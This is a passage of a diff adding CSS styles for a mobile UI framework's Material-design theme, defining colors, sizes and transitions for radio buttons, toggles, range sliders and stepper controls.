.icon-radio { + border-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow .radio .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange .radio .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray .radio .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white .radio .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black .radio .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md .radio.color-red .icon-radio:after { + background-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .radio.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .radio.color-green .icon-radio:after { + background-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .radio.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .radio.color-blue .icon-radio:after { + background-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .radio.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .radio.color-pink .icon-radio:after { + background-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .radio.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .radio.color-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .radio.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .radio.color-orange .icon-radio:after { + background-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .radio.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .radio.color-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .radio.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .radio.color-white .icon-radio:after { + background-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .radio.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .radio.color-black .icon-radio:after { + background-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .radio.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Toggle === */ +.toggle { + display: inline-block; + vertical-align: middle; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle input[disabled] ~ .toggle-icon { + pointer-events: none; +} +.toggle-icon { + z-index: 0; + margin: 0; + padding: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + position: relative; + -webkit-transition: 300ms; + transition: 300ms; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + cursor: pointer; +} +.toggle-icon:before, +.toggle-icon:after { + content: ''; +} +.toggle-icon:after { + background: #fff; + position: absolute; + z-index: 2; + -webkit-transform: translateX(0px); + transform: translateX(0px); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .toggle { + width: 36px; + height: 14px; +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(16px); + transform: translateX(16px); + background: #2196f3; +} +.md .toggle-icon { + width: 36px; + height: 14px; + border-radius: 14px; + background: #b0afaf; +} +.md .toggle-icon:after { + height: 20px; + width: 20px; + top: -3px; + -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + border-radius: 10px; + left: 0; +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +/* === Range Slider === */ +.range-slider { + display: block; + width: 100%; + position: relative; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.range-slider input[type="range"] { + display: none; +} +.range-bar { + position: absolute; + left: 0; + top: 50%; + width: 100%; + overflow: hidden; +} +.range-bar-active { + position: absolute; + left: 0; + top: 0; + height: 100%; +} +.range-knob-wrap { + z-index: 20; + position: absolute; + top: 50%; + left: 0; +} +.range-knob { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 50%; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 1; +} +.range-knob:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.range-knob-label { + position: absolute; + left: 50%; + bottom: 100%; + text-align: center; + -webkit-transition-duration: 120ms; + transition-duration: 120ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translateY(100%) scale(0); + transform: translateY(100%) scale(0); +} +.range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.md .range-slider { + height: 20px; +} +.md .range-bar { + background: #b9b9b9; + height: 2px; + margin-top: -1px; +} +.md .range-bar-active { + background: #2196f3; +} +.md .range-knob-wrap { + height: 12px; + width: 12px; + margin-top: -6px; + margin-left: -6px; +} +.md .range-knob { + background: #2196f3; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: background-color, -webkit-transform; + transition-property: background-color, -webkit-transform; + transition-property: transform, background-color; + transition-property: transform, background-color, -webkit-transform; +} +.md .range-knob-active-state .range-knob { + -webkit-transform: scale(1.5); + transform: scale(1.5); +} +.md .range-slider-min:not(.range-slider-dual) .range-knob { + background: #fff !important; + border: 2px solid #b9b9b9; +} +.md .range-knob-label { + width: 26px; + height: 26px; + margin-left: -13px; + margin-bottom: 8px; + background: #2196f3; + color: #fff; + font-size: 10px; + border-radius: 50%; + line-height: 26px; +} +.md .range-knob-label:before { + content: ''; + left: 50%; + top: 0px; + margin-left: -13px; + position: absolute; + z-index: -1; + width: 26px; + height: 26px; + background: #2196f3; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); + border-radius: 50% 50% 50% 0; +} +.md .range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.md .range-slider-label .range-knob-active-state .range-knob { + -webkit-transform: scale(0); + transform: scale(0); +} +.md .color-theme-red .range-slider .range-bar-active, +.md .color-theme-red .range-slider .range-knob, +.md .color-theme-red .range-slider .range-knob-label, +.md .color-theme-red .range-slider .range-knob-label:before { + background-color: #f44336; +} +.md .color-theme-green .range-slider .range-bar-active, +.md .color-theme-green .range-slider .range-knob, +.md .color-theme-green .range-slider .range-knob-label, +.md .color-theme-green .range-slider .range-knob-label:before { + background-color: #4caf50; +} +.md .color-theme-blue .range-slider .range-bar-active, +.md .color-theme-blue .range-slider .range-knob, +.md .color-theme-blue .range-slider .range-knob-label, +.md .color-theme-blue .range-slider .range-knob-label:before { + background-color: #2196f3; +} +.md .color-theme-pink .range-slider .range-bar-active, +.md .color-theme-pink .range-slider .range-knob, +.md .color-theme-pink .range-slider .range-knob-label, +.md .color-theme-pink .range-slider .range-knob-label:before { + background-color: #e91e63; +} +.md .color-theme-yellow .range-slider .range-bar-active, +.md .color-theme-yellow .range-slider .range-knob, +.md .color-theme-yellow .range-slider .range-knob-label, +.md .color-theme-yellow .range-slider .range-knob-label:before { + background-color: #ffeb3b; +} +.md .color-theme-orange .range-slider .range-bar-active, +.md .color-theme-orange .range-slider .range-knob, +.md .color-theme-orange .range-slider .range-knob-label, +.md .color-theme-orange .range-slider .range-knob-label:before { + background-color: #ff9800; +} +.md .color-theme-gray .range-slider .range-bar-active, +.md .color-theme-gray .range-slider .range-knob, +.md .color-theme-gray .range-slider .range-knob-label, +.md .color-theme-gray .range-slider .range-knob-label:before { + background-color: #9e9e9e; +} +.md .color-theme-white .range-slider .range-bar-active, +.md .color-theme-white .range-slider .range-knob, +.md .color-theme-white .range-slider .range-knob-label, +.md .color-theme-white .range-slider .range-knob-label:before { + background-color: #ffffff; +} +.md .color-theme-black .range-slider .range-bar-active, +.md .color-theme-black .range-slider .range-knob, +.md .color-theme-black .range-slider .range-knob-label, +.md .color-theme-black .range-slider .range-knob-label:before { + background-color: #000000; +} +.md .range-slider.color-red .range-bar-active, +.md .range-slider.color-red .range-knob, +.md .range-slider.color-red .range-knob-label, +.md .range-slider.color-red .range-knob-label:before { + background-color: #f44336; +} +.md .range-slider.color-green .range-bar-active, +.md .range-slider.color-green .range-knob, +.md .range-slider.color-green .range-knob-label, +.md .range-slider.color-green .range-knob-label:before { + background-color: #4caf50; +} +.md .range-slider.color-blue .range-bar-active, +.md .range-slider.color-blue .range-knob, +.md .range-slider.color-blue .range-knob-label, +.md .range-slider.color-blue .range-knob-label:before { + background-color: #2196f3; +} +.md .range-slider.color-pink .range-bar-active, +.md .range-slider.color-pink .range-knob, +.md .range-slider.color-pink .range-knob-label, +.md .range-slider.color-pink .range-knob-label:before { + background-color: #e91e63; +} +.md .range-slider.color-yellow .range-bar-active, +.md .range-slider.color-yellow .range-knob, +.md .range-slider.color-yellow .range-knob-label, +.md .range-slider.color-yellow .range-knob-label:before { + background-color: #ffeb3b; +} +.md .range-slider.color-orange .range-bar-active, +.md .range-slider.color-orange .range-knob, +.md .range-slider.color-orange .range-knob-label, +.md .range-slider.color-orange .range-knob-label:before { + background-color: #ff9800; +} +.md .range-slider.color-gray .range-bar-active, +.md .range-slider.color-gray .range-knob, +.md .range-slider.color-gray .range-knob-label, +.md .range-slider.color-gray .range-knob-label:before { + background-color: #9e9e9e; +} +.md .range-slider.color-white .range-bar-active, +.md .range-slider.color-white .range-knob, +.md .range-slider.color-white .range-knob-label, +.md .range-slider.color-white .range-knob-label:before { + background-color: #ffffff; +} +.md .range-slider.color-black .range-bar-active, +.md .range-slider.color-black .range-knob, +.md .range-slider.color-black .range-knob-label, +.md .range-slider.color-black .range-knob-label:before { + background-color: #000000; +} +/* === Stepper === */ +.stepper { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; +} +.stepper-button, +.stepper-button-minus, +.stepper-button-plus { + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + cursor: pointer; +} +.stepper-button .icon, +.stepper-button-minus .icon, +.stepper-button-plus .icon { + pointer-events: none; +} +.stepper-value { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.stepper-input-wrap, +.stepper-value { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + text-align: center; +} +.stepper-button-plus, +.stepper-button-minus { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.stepper-button-plus:after, +.stepper-button-minus:after, +.stepper-button-plus:before, +.stepper-button-minus:before { + content: ''; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +.stepper-button-plus:after, +.stepper-button-minus:after { + width: 15px; + height: 2px; +} +.stepper-button-plus:before { + height: 15px; + width: 2px; +} +.stepper .stepper-input-wrap input, +.stepper .stepper-value { + width: 45px; +} +.md .stepper { + height: 36px; +} +.md .stepper-button, +.md .stepper-button-minus, +.md .stepper-button-plus { + border: 2px solid #2196f3; + color: #2196f3; + line-height: 34px; + height: 36px; + width: 40px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.md .stepper-button + .stepper-button, +.md .stepper-button-minus + .stepper-button, +.md .stepper-button-plus + .stepper-button, +.md .stepper-button + .stepper-button-minus, +.md .stepper-button-minus + .stepper-button-minus, +.md .stepper-button-plus + .stepper-button-minus, +.md .stepper-button + .stepper-button-plus, +.md .stepper-button-minus + .stepper-button-plus, +.md .stepper-button-plus + .stepper-button-plus { + border-left: none; +} +.md .stepper-button.active-state, +.md .stepper-button-minus.active-state, +.md .stepper-button-plus.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .stepper-button:first-child, +.md .stepper-button-minus:first-child, +.md .stepper-button-plus:first-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-button:last-child, +.md .stepper-button-minus:last-child, +.md .stepper-button-plus:last-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-button-plus:after, +.md .stepper-button-minus:after, +.md .stepper-button-plus:before, +.md .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper-value, +.md .stepper-input-wrap { + border-top: 2px solid #2196f3; + border-bottom: 2px solid #2196f3; +} +.md .stepper .stepper-value, +.md .stepper .stepper-input-wrap input { + color: #2196f3; + font-size: 14px; + font-weight: 500; + text-align: center; +} +.md .stepper .stepper-input-wrap input { + height: 100%; +} +.md .stepper-fill .stepper-button, +.md .stepper-fill-md .stepper-button, +.md .stepper-fill .stepper-button-minus, +.md .stepper-fill-md .stepper-button-minus, +.md .stepper-fill .stepper-button-plus, +.md .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; + border: none; + line-height: 36px; +} +.md .stepper-fill .stepper-button.active-state, +.md .stepper-fill-md .stepper-button.active-state, +.md .stepper-fill .stepper-button-minus.active-state, +.md .stepper-fill-md .stepper-button-minus.active-state, +.md .stepper-fill .stepper-button-plus.active-state, +.md .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper-fill .stepper-button:after, +.md .stepper-fill-md .stepper-button:after, +.md .stepper-fill .stepper-button-minus:after, +.md .stepper-fill-md .stepper-button-minus:after, +.md .stepper-fill .stepper-button-plus:after, +.md .stepper-fill-md .stepper-button-plus:after, +.md .stepper-fill .stepper-button:before, +.md .stepper-fill-md .stepper-button:before, +.md .stepper-fill .stepper-button-minus:before, +.md .stepper-fill-md .stepper-button-minus:before, +.md .stepper-fill .stepper-button-plus:before, +.md .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper-fill .stepper-button + .stepper-button, +.md .stepper-fill-md .stepper-button + .stepper-button, +.md .stepper-fill .stepper-button-minus + .stepper-button-plus, +.md .stepper-fill-md .stepper-button-minus + .stepper-button-plus { + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-fill.stepper-big .stepper-button, +.md .stepper-fill-md.stepper-big .stepper-button, +.md .stepper-fill.stepper-big-md .stepper-button, +.md .stepper-fill-md.stepper-big-md .stepper-button, +.md .stepper-fill.stepper-big .stepper-button-minus, +.md .stepper-fill-md.stepper-big .stepper-button-minus, +.md .stepper-fill.stepper-big-md .stepper-button-minus, +.md .stepper-fill-md.stepper-big-md .stepper-button-minus, +.md .stepper-fill.stepper-big .stepper-button-plus, +.md .stepper-fill-md.stepper-big .stepper-button-plus, +.md .stepper-fill.stepper-big-md .stepper-button-plus, +.md .stepper-fill-md.stepper-big-md .stepper-button-plus { + line-height: 48px; +} +.md .stepper-fill.stepper-small .stepper-button, +.md .stepper-fill-md.stepper-small .stepper-button, +.md .stepper-fill.stepper-small-md .stepper-button, +.md .stepper-fill-md.stepper-small-md .stepper-button, +.md .stepper-fill.stepper-small .stepper-button-minus, +.md .stepper-fill-md.stepper-small .stepper-button-minus, +.md .stepper-fill.stepper-small-md .stepper-button-minus, +.md .stepper-fill-md.stepper-small-md .stepper-button-minus, +.md .stepper-fill.stepper-small .stepper-button-plus, +.md .stepper-fill-md.stepper-small .stepper-button-plus, +.md .stepper-fill.stepper-small-md .stepper-button-plus, +.md .stepper-fill-md.stepper-small-md .stepper-button-plus { + line-height: 28px; +} +.md .stepper-small, +.md .stepper-small-md { + height: 28px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus { + height: 28px; + line-height: 24px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus, +.md .stepper-small .stepper-input-wrap, +.md .stepper-small-md .stepper-input-wrap, +.md .stepper-small .stepper-value, +.md .stepper-small-md .stepper-value { + border-width: 2px; +} +.md .stepper-big, +.md .stepper-big-md { + height: 48px; +} +.md .stepper-big .stepper-button, +.md .stepper-big-md .stepper-button, +.md .stepper-big .stepper-button-minus, +.md .stepper-big-md .stepper-button-minus, +.md .stepper-big .stepper-button-plus, +.md .stepper-big-md .stepper-button-plus { + height: 48px; + line-height: 46px; +} +.md .stepper-big .stepper-button:first-child, +.md .stepper-big-md .stepper-button:first-child, +.md .stepper-big .stepper-button-minus:first-child, +.md .stepper-big-md .stepper-button-minus:first-child, +.md .stepper-big .stepper-button-plus:first-child, +.md .stepper-big-md .stepper-button-plus:first-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-big .stepper-button:last-child, +.md .stepper-big-md .stepper-button:last-child, +.md .stepper-big .stepper-button-minus:last-child, +.md .stepper-big-md .stepper-button-minus:last-child, +.md .stepper-big .stepper-button-plus:last-child, +.md .stepper-big-md .stepper-button-plus:last-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-round .stepper-button:first-child, +.md .stepper-round-md .stepper-button:first-child, +.md .stepper-round .stepper-button-minus:first-child, +.md .stepper-round-md .stepper-button-minus:first-child, +.md .stepper-round .stepper-button-plus:first-child, +.md .stepper-round-md .stepper-button-plus:first-child { + border-radius: 36px 0 0 36px; +} +.md .stepper-round .stepper-button:last-child, +.md .stepper-round-md .stepper-button:last-child, +.md .stepper-round .stepper-button-minus:last-child, +.md .stepper-round-md .stepper-button-minus:last-child, +.md .stepper-round .stepper-button-plus:last-child, +.md .stepper-round-md .stepper-button-plus:last-child { + border-radius: 0 36px 36px 0; +} +.md .stepper-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + border-radius: 4px; +} +.md .stepper-raised.stepper-big, +.md .stepper-raised.stepper-big-md { + border-radius: 4px; +} +.md .stepper-raised.stepper-round, +.md .stepper-raised.stepper-round-md { + border-radius: 36px; +} +.md .stepper-raised .stepper-value, +.md .stepper-raised .stepper-input-wrap { + border: none; +} +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap, +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value { + border-left: 1px solid rgba(0, 0, 0, 0.1); + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-raised .stepper-button, +.md .stepper-raised .stepper-button-minus, +.md .stepper-raised .stepper-button-plus { + border: none; +} +.md .stepper-raised .stepper-button + .stepper-button, 